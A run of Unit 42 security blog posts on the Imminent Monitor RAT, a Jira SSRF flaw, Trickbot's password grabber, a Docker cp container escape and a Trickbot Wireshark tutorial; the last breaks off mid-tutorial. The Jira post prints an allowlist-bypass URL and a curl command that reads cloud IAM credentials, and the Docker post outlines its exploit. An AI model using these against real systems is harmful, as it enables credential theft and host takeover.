Imminent Monitor – a RAT Down Under

Posted on by Unit 42

Overview

The availability of “commodity malware” – malware offered for sale – empowers a large population of criminals, who make up for their lack of technical sophistication with an abundance of malicious intent.

Rather than looking just at the malware samples and functionality themselves, we’ve taken an interest in the commodity malware ecosystem; especially into the malware authors who fundamentally empower and profit from it.

Our previous research into commodity Remote Access Tools (RATs) has assisted law enforcement efforts in prosecuting the authors and customers of malware including Orcus, LuminosityLink and Adwind. Our “SilverTerrier” research into the immensely prevalent West-African financial cybercrime has shown the tremendous popularity of commodity malware empowering the largest financial cybercrime threat at this time, and especially their evolution towards using commodity RATs in their attacks.

One example is of the actors behind the Orcus RAT, which are the subject of recent and ongoing legal action in Canada. This case continues to be prosecuted with vigor. Palo Alto Networks has collected more than 16,000 distinct samples of Orcus RAT since April 2016 through to publishing, and we have observed more than 46,000 unique attacks using this RAT against Palo Alto Networks customers.

We next focused on “Imminent Monitor,” a RAT offered for sale since 2012. In comparison to Orcus RAT, we have more than 65,000 samples of Imminent Monitor, and observed its use in more than 115,000 unique attacks against Palo Alto Networks customers. This total number of samples includes those shared between antivirus vendors, not just those directly detected by Palo Alto Networks customers. However, the observed attacks figure only reflects actual, in-the-wild samples from Palo Alto Networks customers. In most cases, repeated attacks using the same samples and/or blocked by signature detection will not be reflected in this figure, and so the actual total number of attack attempts will be much higher than reflected in this metric. With such prevalence, we had to wonder why the author of this malware has been allowed to continue to profit from this for almost seven years, unchecked.

In order to evaluate the potential of success of legal action against a malware author, some of the first questions we ask are who are they, and where are they? This fundamental intelligence will drive the interest and ability of law enforcement to prosecute and inform researchers to which agency they might refer to this case. In the case of Imminent Monitor, Unit 42’s referral and subsequent, ongoing cooperation helped initiate and drive international law enforcement action to proceed with charging those responsible for the development and management of this malware, their customers, and the disabling of access to their victims.

Shockwave™’s RAT

In 2012, a developer, “Shockwave™”, registered the domain imminentmethods[.]info, and in April 2013 started selling his “Imminent Monitor” RAT on online forums and at his site, which later changed to imminentmethods[.]net. Earlier in 2012, he had offered a Distributed Denial of Service (DDoS) tool, “Shockwave™Booter,” but seemed to drop that project in favor of his new RAT.

He proudly claimed “the fastest remote administration tool ever created using new socket technology that has never been used before.”

Figure 1. Imminent Monitor 1.0 Client Control Panel

The ImminentMonitor Client Control Panel offers a clean, easy-to-use interface to build (Figure 1) and control (Figure 2) ImminentMonitor client malware. As well as the full Remote Desktop access of any RAT, features less noticeable by the victim include:

  • File manager
  • Process manager
  • Window manager
  • Clipboard manager
  • Registry manager
  • Startup manager
  • Command prompt
  • TCP connection
  • Remote webcam monitoring
  • Remote microphone monitoring
  • Password recovery

Shockwave™ claimed: “We use new methods not used in any rat, the remote desktop has the potential to get around 60 fps, and the cam I have personally gotten 130 with this.”

In 2014, Imminent Monitor started supporting third-party plugins. The first of these offered the ability to turn the webcam light off while monitoring. Shockwave™ wrote: “Hey, good job on being the first to release a plugin for Imminent Monitor.” – a plugin with an obviously illegitimate intent.

Figure 2. Client control

The features of a(n il)legitimate Remote Access Tool

As very typical with commodity RATs, the authors attempt to profess innocence and distance themselves from the illegitimate features and intent of their malware:

“We at Imminent Methods are not responsible for the nature in which you use our services. The services sold on this website are for personal, not distributed, use and should only be used on your own machines or the machines of those who have given you expressed consent for remote management. Remember that our tools are made for educational purpose, so we do not take any responsiblity for any damage caused by any of or tools or services. Misuse of our tools or services can be very illegal. Certain misuse could cause possible jail time or fines, which differ depending on your local laws.” … “You agree that you will NOT distribute malicious files created with any of our services over the internet with the intent of harming/using machines of innocent people. You agree that if you do by some sort of means connect to a computer without authorization, by means of accident or other ways, that you will use the uninstall feature to completely remove the connection between the two of you and remove the software from their computer.” [Sic]

However, Shockwave™’s first-party comments online belie this claim:

“The keylogger: The logs are hidden, and encrypted, fast transfer of the logs aswell, with progress indicating how much of the log is downloaded”…
“The crypter: The crypter is really just a bonus feature, not always FUD but I try and do my best to keep it FUD.” [Sic]

Legitimate remote access tools don’t need to hide and encrypt their logs. A crypter, allowing a “Fully UnDetectable” (FUD) client, only has one purpose: to attempt to evade antivirus detection.

Later versions include “protection” to help avoid detection/removal, also not a feature expected of a legitimate, permissible remote access client (Figure 3).

Figure 3. "Protection" features

The most recent sales page for Imminent Monitor continued to profess legitimacy (Figure 4).

Figure 4. Imminent Monitor "About"

However, features remain that lend utility rather to illegitimate use, hiding the client and maintaining persistence (Figure 5).

Figure 5. "Protection" features

Shockwave™ promotes the RAT’s“protection” features:

“File Integration
The File Integration feature will delete the Imminent Monitor Client from it’s execution directory and move it into it’s “Client Startup” directory.

Set File Properties to “Hidden”
Does what it says, marks the Client as hidden.

Disable Taskmanager
Disables Windows Task Manager/

Process Security Flag & Critical Process Flag
Both of these functions are currently deprecated as the “Process Watcher” feature replaces them/

Process Watcher
The Process Watcher feature spawns a separate daemon to watch the main Imminent Monitor Client in case the client ever crashes or gets closed.”

More recent versions offer what the author terms “HRDP” – Hidden Remote Desktop Protocol – offering a non-interactive remote desktop connection, hidden from the victim.

Figure 6. Features

Version 3 of Imminent Monitor introduced the ability to run a cryptocurrency miner on the victim machine – hardly the feature of a legitimate remote access tool (Figure 7).

Figure 7. Imminent Monitor Client Cryptocurrency Miner

But, in the end, it will be the courts who will determine legitimacy and intent of the malware author, and also their customers.

Imminent Monitor was originally licensed to each customer for a $25 fee. Six years later, the price has remained static, though new multi-license options are also offered (Figure 8).

Figure 8. Purchase

Who is Shockwave?

In order to identify actors behind such operations as Imminent Monitor, it’s important to be thorough with analysis and intelligence collection. The actor will typically attempt to hide or obfuscate their identity. The research will not only aim to directly identify a specific individual but also help to build a corroborative identity picture, increasing confidence in any analysis.

Infrastructure research did not lead us to any identifying information, though we do notice a definite preference for Australian hosting early on.

Forum profiles for Shockwave™ and Imminentmethods included a common profile photo, a panda-headed business-suited avatar (Figure 9).

Figure 9. Shockwave™/ ImminentMethods' avatar

The Twitter account “imminentmethods” includes a location of “Queensland, Australia”. A Google+ account for imminentmethods[at]gmail.com had the same Panda avatar, and the name (redacted here for publication) “J████”.

A deviantart.com profile for user “ViridianX” had the same panda avatar, a link to imminentmethods[.]info, location Australia, and the same name “J████” again. This handle was corroborated in a forum post:

“Also, I have noticed I have been getting imitated on various websites lately my only Accounts are:
shockwave.hf
http://www.twitch.tv/imminentmethods [twitch]
ViridianX [Justin.tv]”

A Paypal purchase from imminentmethods[.]net gave a merchant name “DictumFox”(Figure 10).

Figure 10. Paypal

This appears to be a unique handle. The site, dictumfox[.]com, previously had the site title “Imminent Methods”(Figure 11).

 

Figure 11. DictumFox-Imminent Methods

The imminentmethods[.]net “Contact us” page has an Australian phone number and time zone, and a New South Wales, Australia address which comes back to a small-business services address.

A search of the Australian business registry finds a “DictumFox”, with a registered agent at the same address of convenience, with a different, female first name J██████ K███. She was also previously linked to another Australian business, “Imminent Methods”. That business record has a current agent with the same first name as seen in the profiles - J████ - and the same surname as the female associated with the other business registration: K███.

Further research with name and location corroboration seems to possibly explain the relationship with Shockwave™-J████, and the “J██████” of the corporate registration, beyond the same surname K███ (Figure 12).

Figure 12. J█████ and J████

Prosecution

Unit 42 referred the identity and activity of Shockwave™ to the Australian Federal Police (AFP) Cybercrime Operations teams. We have subsequently continued to assist the AFP’s “Operation Cepheus” (Figure 13), together with the United States Federal Bureau of Investigation (FBI), and Canadian Radio-television and Telecommunications Commission, Electronic Commerce Enforcement / Conseil de la radiodiffusion et des télécommunications canadiennes, Mise en application du commerce électronique (CRTC ECE). The Australian-led investigation, targeting not only those responsible for the development and management of this malware, but also their customers using the malware illicitly, has yielded evidence suggesting in excess of 14,500 customers of this RAT. We most often observe RATs employed illicitly by financially-motivated actors, or for data theft. Interestingly, the AFP’s investigation noted a significant number of Australian users of the software were also respondents to Domestic Violence Orders. It’s unlikely a coincidence that such a tool might be employed against Intimate Partner Violence victims. AFP’s operation also disabled the licensing system of Imminent Monitor, removing users’ access to victims of the software. Unit 42’s research into the infrastructure and customers of Imminent Monitor and other RATs continues to assist law enforcement internationally in prosecuting the individuals behind such illicit activity, demonstrating the effectiveness and potential of international public/private cooperation in combating cybercrime.

Figure 12. AFP execute an Operation Cepheus search warrant (source: AFP)

Conclusion

We’ve collected more than 65,000 samples of Imminent Monitor, and seen more than 115,000 attacks against Palo Alto Networks’ customers alone. Not only did the availability of this commodity malware enable each of those attacks, the author profited from the sale of it, since 2013.

This Remote Access Tool, promoted first-party on hacking forums, includes features that have no purpose in a legitimate tool but rather are designed to hide attacks using it.

With the successful execution of the AFP’s operation, licensed Imminent Monitor builders will no longer be able to produce new client malware nor can the controllers access their victims. Although cracked versions already exist and will continue to circulate, they can’t benefit from bug fixes, feature enhancements, support, or efforts to improve their undetectability. Ironically, these versions often carry malicious payloads, acting as infection vectors to the criminals who would use them, themselves.

Organizations with decent spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our threat prevention platform detects Imminent Monitor malware with Wildfire and Traps. AutoFocus users can track this activity using the ImminentMonitor tag.

 

 

Server-Side Request Forgery Exposes Data of Technology, Industrial and Media Organizations

Posted on by Jay Chen

Executive Summary

Server-Side Request Forgery (SSRF) is a web application vulnerability that redirects the attacker's requests to the internal network or localhost behind the firewall. SSRF poses a particular threat to cloud services due to the use of the metadata API that allows applications to access the underlying cloud infrastructure's information such as configurations, logs, and credentials. Although the metadata API can only be accessed locally, the SSRF vulnerability makes it accessible from the internet. This type of vulnerability also bypasses the container sandbox protection. SSRF opens the door for internal network reconnaissance, lateral movement, and even remote code execution.

An application in a container, by default, can directly access the metadata API on its host, enabling a special way of container escape. To understand the severity of the problem, Unit 42 researchers took a closer look at the Jira SSRF vulnerability (CVE-2019-8451) and studied its impact on six public cloud service providers (CSPs). This is the same type of vulnerability that led to the Capital One data breach in July 2019.

Our vulnerability scanner found:

  • More than 7,000 Jira instances exposed to the internet in public clouds
  • 45% of the 7,000+ Jira instances (3,152) are vulnerable to this CVE (not patched or updated)
  • 56% of the 3,152 vulnerable hosts (1,779) leak cloud infrastructure metadata

NVD shows that this CVE was first introduced in v7.6, but we discovered that this CVE actually affects versions back to v4.3 (March 2011) as opposed to v7.6 (Nov. 2017). The leaked metadata ranges from internal network configuration to source code and credentials. Impacted organizations include, but are not limited to, technology, industrial, and media companies.

Server Side Request Forgery

Server-Side Request Forgery (SSRF) is a web application vulnerability that redirects malicious requests to resources that are restricted to the server. Attackers circumvent the firewall by tricking the vulnerable application to forward the malicious request to arbitrary domains, including the internal network and localhost. The most common type of SSRF request is HTTP(s), but other valid uniform resource identifier (URI) schemes such as host file system (file:////), dictionary service (dict://), and redis service (redis://) are all possible. Attackers can access any target that has a trust relationship with the vulnerable server as long as the application supports the URI scheme. They can reach the target and it does not require additional authentication.

The root cause of SSRF is that a web application needs to retrieve resources from another domain to fulfill the request, but the input URL is not properly sanitized and allows attackers to manipulate the destination. In CVE-2019-8451, the vulnerable API /plugins/servlet/gadgets/make request?url=endpoint fetches data from the service provider endpoint to populate the gadget. The server does validate the query string and only the allowlisted endpoints are permitted. However, due to a logical error in the JiraWhiteList class, an at (@) symbol in the parameter string can bypass the allowlist validation. A request sent to http://vulnerablehost.com/plugins/servlet/gadgets/makeRequest?url=http://vulnerablehost.com@http://targethost.com will be redirected to targethost.com. This logical error thus allows attackers to send http requests to any target that is reachable from the vulnerable server.

Metadata API in Public Cloud

Almost all CSPs offer a metadata API that allows processes in a VM instance to learn the information specific to that VM. Metadata service gives applications an easy way to know the environments they are running in and adjust the configurations accordingly. The metadata API provides information such as instance ID, image ID, private/public IP, and network configuration. VM startup and shutdown scripts sometimes are also placed in the metadata service so that multiple VM instances based on the same image can be created with different settings. Some CSPs also allow applications to write dynamic data to the metadata API and use it as temporary data storage.

The metadata API can only be accessed from within the VM instance and is never exposed outside the host. While any private IP may be assigned to this API, most CSPs use the non-routable (Link-Local) IP address 169.254.169[.]254. For example, a process can issue a curl command inside an AWS EC2 instance to retrieve the security credential associated with the role, shown in Figure 1:
curl
http://169.254.169[.]254/latest/meta-data/iam/security-credentia
ls/role-name

Any user or process, by default, has full access to the metadata API. One interesting observation is that even applications in containers (e.g., Docker, Kubernetes, ECS, EKS) can access the host metadata API. This ease of accessing host metadata from a container is both convenient and dangerous. On the one hand, an application in a container can query the host metadata API and use the attached credentials to access other cloud services such as S3 and RDS. On the other hand, the host metadata API creates a container “escape path” that allows containerized applications to directly access the sensitive host metadata. If a container is compromised, attackers can exploit this path to compromise the host or other services in the cloud. The potential risk is higher than the benefit as there are other ways that a host can share data with containers without exposing the metadata.

Figure 1. Retrieving credentials from metadata API

Although the metadata service is never exposed to the internet, it may be indirectly exposed by a vulnerable internet-facing application. An SSRF vulnerability essentially exposes the metadata service to the entire internet. Attackers may use the leaked metadata to further compromise other hosts in the VPC or even take over the whole cloud infrastructure. Some of the sensitive metadata and their impacts are:

  • IAM credential: It can be used to access other cloud services such as the S3 bucket or container registry. If an admin identity is attached to the instance or the identity is provisioned with excessive privileges, attackers can compromise the entire cloud infrastructure.
  • User Data: User-specified data can be stored in metadata. VM startup and shutdown scripts are also usually placed in user data. It can reveal the application configurations, VM configuration, and other cloud resources that the VM may access. It is also common to find credentials hard-coded in the script.
  • VM image ID: If the image is public, malicious actors can examine the VM and design a penetration strategy.
  • Network configuration: It can reveal network information such as VM’s private/public IP, MAC, local hostname, subnet, and VPC.

To prevent metadata API from being misused, some CSPs require special headers in the metadata Http requests. For example, Azure VM checks for “Metadata: True” header and Google Compute Engine checks for “Metadata-Flavor: Google” header. An Http request without the required header will be rejected. The header enforcement effectively stops SSRF from accessing the metadata API because attackers can not control the headers in the redirected requests. Table 1 compares the metadata APIs of the six CSPs we studied.

Table 1. Metadata API service from different CSPs.
*GCP started enforcing header requirement in metadata API V1.

CVE-2019-8451 in Public Cloud

To understand the real impact of SSRF on public cloud, we need to find an application that has known SSRF vulnerability and is widely deployed in public cloud. Jira caught our attention because it has an SSRF vulnerability CVE-2019-8451 discovered in August 2019 and the vulnerability can be exploited without authentication. Although the patch was immediately released, software like Jira that ties closely to business operations rarely gets updated immediately. System administrators would rather delay the patch than interrupt the business operation. A Shodan search shows that around 25,000 Jira instances are currently exposed to the internet. We then selected six CSPs that have the highest number of Jira deployment to conduct our research. The goal of the research is to identify the number of Jira instances vulnerable to CVE-2019-8451 in public cloud, the exploitability of these Jira instances, and the number of hosts that leak metadata. We found 7,002 Jira instances in the six public CSPs. Figure 2 shows the distribution of the Jira version.

Figure 2. The Jira versions exposed in public cloud

Considering that the CVE-2019-8451 was first patched in v8.4, 80% of the Jira instances in Figure 2 have versions below v8.4 and they may all be vulnerable if not patched. Our scanned result shows that, of the 7,002 Jira instances, 3,152 (45%) instances have not been patched and confirmed to be vulnerable. Figure 3 shows the top 10 Jira versions that have not been patched. Within the 3,152 vulnerable Jira instances, 1,779 (56%) of them leak host metadata. Table 2 summarizes the statistics across all CSPs. DigitalOcean customers have the highest rate (93%) of metadata leak, followed by Google Cloud customers (80%), Alibaba customers (71%), AWS customers (68%), and Hetzner customers (21%). The only CSP that has zero metadata leak is Microsoft Azure because its strict header requirement in metadata API effectively blocks all SSRF requests. Although GCP also enforces header requirements in the latest metadata API (v1), attackers can still access most of the metadata using the legacy APIs if the legacy API endpoints (v0.1 and v1beta1) are not explicitly disabled.

Figure 3. The top 10 Jira versions vulnerable to CVE-2019-8451

Table 2. Number of vulnerable hosts and metadata leak in public cloud

One unexpected finding from Figure 3 is that 2 of the top 10 versions, v7.3.6 and v6.3.6, are outside the vulnerable versions that Jira published. According to the Jira issue and NVD, CVE-2019-8451 was first introduced in v7.6 and fixed in v8.4. However, our scanned result shows that many versions outside this range are also vulnerable. To find out the real impact of the vulnerability, we checked the vulnerable class JiraWhiteList that causes the SSRF. This simple Java class with only one method has been in Jira since v4.3. A further investigation in the legacy Jira software confirms that this vulnerability indeed affects versions back to v4.3, which was released more than eight years ago in March 2011.

Remediation and Best Practices

The SSRF vulnerability’s roots lie in the lack of proper input sanitization. To fundamentally fix the issue, developers should strictly validate the format and pattern of the user input before passing it to the application logic. For system administrators who only install and manage web applications, some suggested preventive protections to remediate the impact of SSRF include:

    • Allow-listing domains: Most of the applications only need to initiate communications with a handful of domains such as database or API gateways. Enforcing an allowlist of domains that an application is allowed to communicate with can significantly reduce the services that attackers can target.
    • Zero-trust network: An application should never trust another application just because they are in the same internal network. SSRF will fail if the targeted services require authentication. Authentication and authorization should be implemented on every application.
    • Web Application Firewall (WAF): WAF can detect abnormal patterns or malicious content in Http requests. However, WAF depends on the rules created for known vulnerabilities or attacks with obvious patterns, e.g., SQL injection or XSS. A zero-day vulnerability may still bypass the WAF.
    • Patch and update: Patching and updating applications frequently are the easiest and most effective ways to prevent any vulnerability. It is, however, limited to the support from the vendors. An end-of-life application may never receive an update.

Metadata API can be most effectively protected by CSPs, as shown in Table 2. However, if such protection not available, cloud users should take preventive actions to reduce the risk of metadata leak.

  • Enable CSP metadata API protection: Some CSPs provide configurable options to secure metadata API. GCP users can disable the legacy metadata API versions and enforces the Http header requirement. DigitalOcean users can disable the metadata API service at the cloud-config script.
  • Block metadata IP: Firewall rules can be created inside VMs to block the IP of the metadata API completely. A more granular firewall rule can also be created to allow only specific applications or users to access the metadata API.
  • Metadata proxy: Open-source tools such as metadataproxy and aws-metadata-proxy create a layer above the native metadata API and offer granular control to applications that need to access the metadata.
  • Least privilege IAM: IAM role is attached to a VM to allow applications on the VM to access other cloud services. It is critical to restrict the IAM privileges to only the services that the applications need. The least-privilege practice minimizes the impact in case a credential is compromised.

Conclusion

SSRF by itself may not be a severe vulnerability, but when coupled with the metadata API and misconfiguration in cloud infrastructure, SSRF opens the door to many other attack vectors. Sensitive metadata such as credentials and network architecture may be leaked, and internal services such as database and storage could be exposed. In the worst case, the entire cloud infrastructure could be compromised. This research used only the Jira vulnerability CVE-2019-8451 as an example to show the impact of SSRF to cloud infrastructure, but there are hundreds of other applications with known SSRF vulnerabilities that can all be exploited in the cloud.We have seen CSPs starting to secure the metadata API, but it may take a while until they are fully implemented. We recommend several best practices to system administrators or cloud users can follow to remediate the risk. Palo Alto Network customers are protected by VM-series and Prisma Cloud. VM-series protect cloud workloads with application traffic analysis and Prisma Cloud provides full-stack monitoring in public/private cloud environments.

 

Trickbot Updates Password Grabber Module

Posted on by Brad Duncan

First seen in 2016, Trickbot is malware that steals system information, login credentials, and other sensitive data from vulnerable Windows hosts. Trickbot is a modular malware, and one of its modules is a password grabber. In November 2019, we started seeing indicators of Trickbot's password grabber targeting data from OpenSSH and OpenVPN applications.

Trickbot Modules

A Windows host infected with Trickbot downloads different modules to perform various functions. These modules are stored as encrypted binaries in a folder located under the infected user’s AppData\Roaming directory. The encrypted binaries are decoded as DLL files and run from system memory. Figure 1 shows encoded Trickbot modules generated by a recent Trickbot infection on a 64-bit Windows 7 host from Friday November 8th, 2019.

Figure 1. Modules from a Trickbot infection on November 8th, 2019.

Password Grabber Module

As seen in Figure 1, one of the modules is named pwgrab64. This is a password grabber used by Trickbot. This module retrieves login credentials stored in a victim's browser cache, and it also obtains login credentials from other applications installed on a victim’s host. The password grabber and some other Trickbot modules send stolen data using unencrypted HTTP over TCP port 8082 to an IP address used by Trickbot. For example, Figure 2 shows information from a packet capture (pcap) of traffic generated by a host infected with Trickbot. It highlights an example of login credentials stolen from an infected user’s Chrome browser cache. Note how the URL in the HTTP POST request ends with the number 81. This number is used in URLs generated by Trickbot's password grabber module.

Figure 2. Login credentials stolen from an infected user’s Chrome browser cache.

Updates to Password Grabber

Traffic patterns from recent Trickbot infections had been fairly consistent until early November 2019, when we started seeing two new HTTP POST requests caused by the password grabber. They are identified as:

  • OpenSSH private keys
  • OpenVPN passwords and configsls

For the OpenVPN line, configsls might be a misspelling of configs. Figure 3 and Figure 4 show examples of HTTP POST requests that contain these identifiers.

Figure 3. HTTP POST request caused by Trickbot's password grabber for OpenSSH private keys.

Figure 4. HTTP POST request caused by Trickbot's password grabber for OpenVPN passwords and configurations.

Are These Updates Broken?

These updates to Trickbot's password grabber module may not be fully functional. HTTP POST requests caused by the password grabber for OpenSSH and OpenVPN occur whether or not the victim's host has OpenSSH or OpenVPN installed. And we have not seen this traffic contain any actual data.

We generated Trickbot infections in lab environments for both Windows 7 and Windows 10 hosts with configured OpenSSH and OpenVPN applications. However, we have not seen any working results. HTTP POST requests generated by the password grabber for OpenSSH and OpenVPN during these infections contained no data.

However, Trickbot’s password grabber works will grab SSH passwords and private keys from an SSH/Telnet client named PuTTY. Figure 5 and Figure 6 shows password grabber activity from a Trickbot-infected host with PuTTY installed and configured to use a private key for an SSH connection to a cloud server.

Figure 5. HTTP POST request caused by Trickbot's password grabber for PuTTY passwords.

Figure 6. HTTP POST request caused by Trickbot's password grabber for private keys used by PuTTY.

Conclusion

This blog post documents recent changes in Trickbot traffic patterns that indicate updates to its password grabber module. These updates appear to target data from OpenSSH and OpenVPN applications, but this functionality does not appear to work. Regardless, Trickbot's password grabber will grab sensitive data like private keys from SSH-related applications like PuTTY.

These updated traffic patterns demonstrate Trickbot continues to evolve. However, best security practices like running fully-patched and up-to-date versions of Microsoft Windows will hinder or stop Trickbot infections. Palo Alto Networks customers are further protected from Trickbot by our threat prevention platform. AutoFocus users can track Trickbot activity by using the Trickbot tag.

Docker Patched the Most Severe Copy Vulnerability to Date With CVE-2019-14271

Posted on by Mark Karayan

Executive Summary

In the last few years, several vulnerabilities in the copy (cp) command were found in various container platforms, including Docker, Podman and Kubernetes. The most severe among those was only recently discovered and disclosed in July. Surprisingly, it gained almost no immediate attention, perhaps due to an ambiguous CVE description and a lack of a published exploit.

CVE-2019-14271 marks a security issue in the implementation of the Docker cp command that can lead to full container escape when exploited by an attacker. This is the first complete container breakout since the severe runC vulnerability discovered back in February.

The vulnerability can be exploited, provided that a container has been compromised by a previous attack (e.g. through any other vulnerability, leaked secrets, etc.), or when a user runs a malicious container image from an untrusted source (registry or other). If the user then executes the vulnerable cp command to copy files out of the compromised container, the attacker can escape and take full root control of the host and all other containers in it.

CVE-2019-14271 was marked as critical and fixed in Docker version 19.03.1. The following research is an overview of CVE-2019-14271 and the first Proof of Concept (PoC) of the vulnerability.

Ariel Zelivansky and I have been closely following the recent surge of copy vulnerabilities in major container platforms, and we’ll present our findings at KubeCon + CloudNativeCon 2019 in San Diego on November 20. We’ll dive into past vulnerabilities, the different implementations and some of the underlying reasons that make this relatively simple command surprisingly hard to implement. We’ll also discuss some cool new kernel features specifically written to tackle this problem. If you’re interested in container security, please come and check it out!

Docker cp

The copy command allows copying files from and to containers, as well as between containers. The syntax is quite similar to the standard Unix cp command. To copy out /var/logs from a container, the syntax is docker cp container_name:/var/logs /some/host/path.

As you can see in the image below, to copy files out of the container, Docker uses a helper process called docker-tar.

Figure 1. Copying files out of a container

docker-tar works by chrooting into the container (as you can see in the next image), archiving the requested files and directories in it and then passing back the resulting tar file to the Docker daemon which is responsible for extracting it to the target directory on the host.

Figure 2. docker-tar chroots into the container

Chrooting is mostly done to avoid symlinks issues, which can occur when a host process tries to access files on a container. If one of those files is a symlink, it might inadvertently be resolved under the host root. This opens the door for attacker-controlled containers to try and trick docker cp into reading and writing files on the host instead of the container. Several CVEs in Docker and Podman were assigned for symlink related issues in the last year. By chrooting into the container’s root, docker-tar ensures all symlinks will be effectively resolved under it.

Unfortunately, chrooting into the container opened the way for an even more severe issue when copying files from a container.

CVE-2019-14271

Docker is written in Golang. Specifically, the vulnerable Docker version was compiled with Go v1.11. In this version, some packages that contained embedded C code (cgo) would dynamically load shared libraries at runtime. These packages include net and os/user, both used by docker-tar, which load several libnss_*.so libraries at runtime. Normally, libraries would be loaded from the host file system, but since docker-tar chroots to the container, it loads the libraries from the container file system. That means docker-tar will load and execute code originating and controlled by the container.

To clarify, aside from being chrooted to the container filesystem, docker-tar isn’t containerized. It runs in the host namespaces, with all root capabilities and not limited by cgroups or seccomp. Therefore, by injecting code into docker-tar, a malicious container gains full root access to the host.

The possible attack scenario is a Docker user that copies some files from either:

  • A container running a malicious image with bad libnss_*.so libraries.
  • A compromised container where an attacker replaced the libnss_*.so libraries.

In both cases, the attacker gains root code execution on the host.

Fun fact: This vulnerability was actually discovered from a GitHub issue. A user tried to copy files out of a debian:buster-slim container and complained docker cp repeatedly failed. The problem was that this specific image doesn’t contain the libnss libraries. Thus, when the user ran docker cp and the docker-tar process tried to load them from the container filesystem, it failed and crashed.

Exploitation

To exploit CVE-2019-14271, we need to build a malicious libnss library. I arbitrarily chose libnss_files.so. I downloaded the library’s source and added one function, run_at_link(), to one of the source files. I also defined the function with the constructor attribute. The constructor attribute (a GCC-specific syntax) indicates that the run_at_link function is to be executed as an initialization function for our library when it is loaded by a process. This means that when the docker-tar process will dynamically load our malicious library, run_at_link will be executed. Below is the run_at_link code, shortened for brevity.

run_at_link first verifies it runs in the context of docker-tar, since other, normal container processes might also load it. This is done by checking the /proc directory. If run_at_link runs in the context of docker-tar, this directory will be empty, since the procfs mount on /proc only exists in the container mount namespace.

Next, run_at_link replaces the evil libnss library with the original one. This ensures that any subsequent processes run by the exploit won’t accidentally load the malicious version and retrigger the execution of run_at_link.

Then, to simplify the exploit, run_at_link attempts to run an executable file at path /breakout in the container. This allows the rest of the exploit to be written in bash for example, instead of C. Leaving the rest of the logic out of run_at_link also means we don’t have to recompile the evil library for every change in the exploit, but rather just change the breakout binary.

In the exploit video below, a Docker user runs a malicious image that contains our evil libnss_files.so library and then tries to copy some logs from the container. The /breakout binary in the image is a simple bash script that mounts the host filesystem to the container at /host_fs and also writes a message to /evil on the host.

Video 1. Exploiting CVE-2019-14271 to break out of Docker

Below is the source for the /breakout script used in the video. To get a reference to the host root filesystem, the script mounts procfs over /proc. Since docker-tar runs in the PID namespace of the host, the mounted procfs will contain data on host processes. The script then simply mounts the root of the host’s PID 1.

The Fix

The fix included patching the init function of docker-tar to call arbitrary functions from the problematic Go packages. This forced docker-tar to load the libnss libraries before chrooting to the container, and thus from the host filesystem.

Figure 3. CVE-2019-14271 fix

Conclusion

A vulnerability allowing root code execution on the host is highly dangerous. Make sure you’re running Docker version 19.03.1 or newer versions, which include the fix to this security issue. To restrict the attack surface for this kind of attacks, I strongly suggest to never run untrusted images.

Furthermore, when root is not strictly needed, I highly recommend running containers as a non-root user. This further increases their security and prevents attackers from exploiting many of the flaws that may be found in container engines or the kernel. In the case of CVE-2019-14271, if your container is run with a non-root user, you are protected. Even if an attacker compromised your container, he cannot overwrite the container’s libnss libraries as they are owned by root, and therefore cannot exploit the vulnerability. If you’re still not convinced, this post by Ariel Zelivansky covers the security advantages of running non-root containers and might change your mind.

Palo Alto Networks customers running Prisma Cloud are further protected from this threat through the following set of capabilities:

  • Trusted Images ensure that developers are using verified or approved sources for their images.
  • Host Vulnerability Scanning alerts on containers with vulnerable packages running in your environment, highlighting the most severe, likely to be exploited CVEs. This ensures your containers aren’t running vulnerable code and prevents “one-day” attacks.
  • Prisma Cloud Runtime Security identifies and denies malicious actors from accessing and compromising your containers.

 

Wireshark Tutorial: Examining Trickbot Infections

Posted on by Brad Duncan

Executive Summary

When a host is infected or otherwise compromised, security professionals with access to packet captures (pcaps) of the network traffic need to understand the activity and identify the type of infection.

This tutorial offers tips on how to identify Trickbot, an information stealer and banking malware that has been infecting victims since 2016. Trickbot is distributed through malicious spam (malspam), and it is also distributed by other malware such as Emotet, IcedID, or Ursnif.

Trickbot has distinct traffic patterns. This tutorial reviews pcaps of Trickbot infections caused by two different methods: a Trickbot infection from malspam and Trickbot when it is distributed through other malware.

Note: Today’s tutorial requires Wireshark with a column display customized according to this previous tutorial. You should already have implemented Wireshark display filters as described here.

Trickbot from malspam

Trickbot is often distributed through malspam. Emails from these campaigns contain links to download malicious files disguised as invoices or documents. These files may be Windows executable files for Trickbot, or they may be some sort of downloader for the Trickbot executable. In some cases, links from these emails return a zip archive that contains a Trickbot executable or downloader.

Figure 1 shows an example from September 2019. In this example, the email contained a link that returned a zip archive. The zip archive contained a Windows shortcut file that downloaded a Trickbot executable. A pcap for the associated Trickbot infection is available here.


Figure 1: Flowchart from a Trickbot infection from malspam in September 2019.

Download the pcap from this page. The pcap is contained in a password-protected zip archive named 2019-09-25-Trickbot-gtag-ono19-infection-traffic.pcap.zip. Extract the pcap from the zip archive using the password infected and open it in Wireshark. Use your basic filter to review the web-based infection traffic as shown in Figure 2.

Figure 2: Pcap of the Trickbot infection viewed in Wireshark.

Review the traffic, and you will find the following activity common in recent Trickbot infections:

  • An IP address check by the infected Windows host
  • HTTPS/SSL/TLS traffic over TCP ports 447 and 449
  • HTTP traffic over TCP port 8082
  • HTTP requests ending in .png that return Windows executable files

Unique to this Trickbot infection is an HTTP request to www.dchristjan[.]com that returned a zip archive and an HTTP request to 144.91.69[.]195 that returned a Windows executable file. Follow the HTTP stream for the request to www.dchristjan[.]com as shown in Figure 3 to review the traffic. In the HTTP stream, you will find indicators that a zip archive was returned as shown in Figure 4.

Figure 3: Following the HTTP stream for the request to www.dchristjan[.]com.

Figure 4: Indicators the HTTP request returned a zip archive.

In Figure 4, you can also see the name of the file contained in the zip archive, InvoiceAndStatement.lnk. You can export the zip archive from the traffic using Wireshark as shown in Figure 5 and Figure 6 using the following path:

     File → Export Objects → HTTP…

Figure 5: Exporting HTTP objects from the pcap.


Figure 6: Exporting the zip archive from the pcap.

In a BSD, Linux, or Mac environment, you can easily confirm the extracted file is a zip archive, get the SHA256 hash of the file, and extract the contents of the archive in a command line environment. In this case, the content is a Windows shortcut file, which you can also confirm and get the SHA256 hash as shown in Figure 7.

The command to identify the file type is file [filename], while the command to find the SHA256 hash of the file is shasum -a 256 [filename].

Figure 7: Checking the extracted zip archive and its contents.

